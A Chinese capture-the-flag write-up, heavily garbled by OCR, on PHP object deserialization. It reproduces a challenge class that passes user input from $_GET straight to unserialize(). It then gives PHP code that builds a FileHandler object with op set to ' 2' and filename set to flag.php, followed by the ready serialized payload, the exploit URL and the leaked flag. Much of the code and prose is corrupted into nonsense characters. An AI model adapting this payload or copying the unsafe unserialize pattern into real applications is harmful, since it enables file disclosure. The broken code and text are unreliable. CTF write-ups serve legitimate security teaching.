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eg:

<?php

$a-"twowords";
echo serialize($a);

>

run (ctri+r) | A | Copy | SELEIRE  HHECE, BEEXITREXE

@ XFHAER O htmAXER

s:8:"twowords";

unserialize():

5 serialize() X} B2, unserialize()F T ¥serialize() £ 74k J5 0 BT T FIN, FFR B RGN R .



$a="a:4:{s:4:"name"”;s:4:"twds";s:3:"age";5:2:"22";5:3: "sex";5:3: " B ";5:5: "phone”;s:6: 12345673} ;

$a un-unserialize(%$a);

print r($a un);
2>

run (ctrl+r) | A | Copy = HELEIE | LIEEE, EERXTRDXE

® XFHRXER O htmBRETR

Array
(
name] => twds
age] => 22
sex] => B

phone] => 123456

)

WRAEB R FRFE A RFFIML, WiRE FALSE, F7/=4—AE_NOTICE.

PHP Notice: unserialize(): Error at offset O of 15 bytes in /usercode/file.php on line 5

FRF R SRR
a:4:{s:4:“name”;s:4:“twds”’;s:3:“age”’;s:2:22”;s:3:“sex”;s:3:“5 ”;s:5:“phone”;s:6:123456;}
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<?php
include("flag.php");
highlight file(__FILE_ );
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __ construct() {
$op = "1";
$filename = "/tmp/tmpfile";

$content = "Hello World!";
$this->process();



public function process() {
if($this->op == "1") {
$this->write();

} else if($this->op == "2") {
$res = $this->read();
$this->output($res);

} else {
$this->output("Bad Hacker!");

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");

private function read() {
$res =

if(isset($this->filename)) {
$res = file_get_contents($this->filename);

wn o,
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}

return $res;

private function output($s) {
echo "[Result]: <br>";
echo $s;

function _ destruct() {
if($this->op === "2")
$this->op = "1";

$this->content =
$this->process();

function is_valid($s) {
for($i = @; $i < strlen($s); $i++)
if(!(ord($s[$1i]) >= 32 & ord($s[$i]) <= 125))
return false;
return true;

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) {



$obj = unserialize($str);

writeup:

St

1. W3R B KB T unserialize ()3 Wr i B % 25 2 5 514k

LELLiLll i1adloe,
return  true;

}
if(isset(3_GETstr’})) |
$str = (string)$ GET[ =tr’ ];
iflis_vdTTdL3str)) L
$obi = unserialize($str);
}
.
flag -t fEflag.php
<php

include(“flas. php™);

highlight file(_ FILE_ ).

class FileHandler |

BEFHEHABEAR%: construct(). destruct()

protected $filename:
protected Jcontent:

function _ construct() |
an = ”1”'
$filename = “ftopftopfile”:
$content = “Hello World!™:

$this->process();

3

public function process() |



echo 35,

i
function _ destruct() 1
.".(E_HH. 5 p—— .rrzfr)
$this->op = “17:
$this->content = 77
$this->process();
}

4. destruct()" <1 Fprocess, Hop=15 \ ,0p=2iZ B

private fumction output(3s) |
echo “[Resultl: <br>”:
echo $s:

}

fimetion _ destruct() |
1f(Jthis-rop ===

dom _ r.rlr.r;

el o
Fthis-rcontent = ;
$this—>process()

fthis-process\);

}

public et 7 I

ifi$this-rop == 170 |
$this-rerite();

1 else if($this-»op == “273| I
fres = 3this-rreadl);
dthis—soutput l jres)

}oelse
$this-routput (“Bad Hacker!™):

}

}

private function writel) |
iflizsset($this->filename) &% isset(fthis-recontent)) |
iffetrlianl Mletrine1d+hi c=Srantant ) “u 1N I

5. ¥ E %t % FileHandler, 2% &op X filename,content, i3k 17 #) 1% 5y H .



<?php
class FileHandler {

public $op="' 2';
public $filename='flag.php"’;
public $content='jaa'; //ZBEcontent A KR H W RIES
}
$flag = new FileHandler();
$flag 1 = serialize($flag);
echo $flag 1;

?>

VR RFFICEARITERE, $RBRHE asciigiid

i B Z 2R Flagidf AT B0, X B REFIFH M R A _ destruct BB (HTHUEEL) . _ destruct# X this->opiffT T ===HIWi H N E1E2F
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procesafi HH [ ==Xt $this->opBtATHIb CH2MIE L T A RESREUN A ) , BRI MK AP FE S5 T L, W LM Pl S 28 ™ #7588 * 2" %%
pug ]/

function _ destruct() |
if($this-2op === "27)
$this->ap = 7
Fthis-rcontent =
$this-—>process()

1;:;

e

ifiFthis->o0p == 7"17] |
$this-rwritell:

5 Ielse if ($this-op == 727} {I
Jres = Jthis-sreadl);
$this-routput (Jres)

¥ oEsE b
$this-routput (“Bad Hacker!”):
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<?php
FileHandler {

fop-* 2°;
$filename-'flag.php";
$content="jaa";

¥

$flag FileHandler();

$flag 1 = serialize($flag);

echo $flag 1;

Y|

run (ctri+r) | 1A Copy | HENENUE  HIEEE, EEEXSRLXE

® XFAXET O htmlBARER

O:11:"EileHandler":3:{s:2:"op";s:2:" 2";5:8:"filename”;s:8:"flag.php";s:7:"content™;s:3:"jaa";}

BEFIILE B 775 &

0:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:8:"flag.php";s:7:"content";s:3:"jaa";}

Rz 777 B %R0 S HistrIF Eurlh AGETH Rt T 145

https://IP/?str=0:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:8:"flag.php";s:7:"content";s:3:"jaa";}

2 JEBEFRENHEE 2 flag.

{coder<span styvle="caolor: #0000007>

{gpan style="color: #O00OBB™>&1lt;php<kbr /><br /></spand<{span style="colo:
</span>

<feoder[Result]: <br><Tphp

FFLAG = “ctfhub (0deddcToalBa0a7 1439747577
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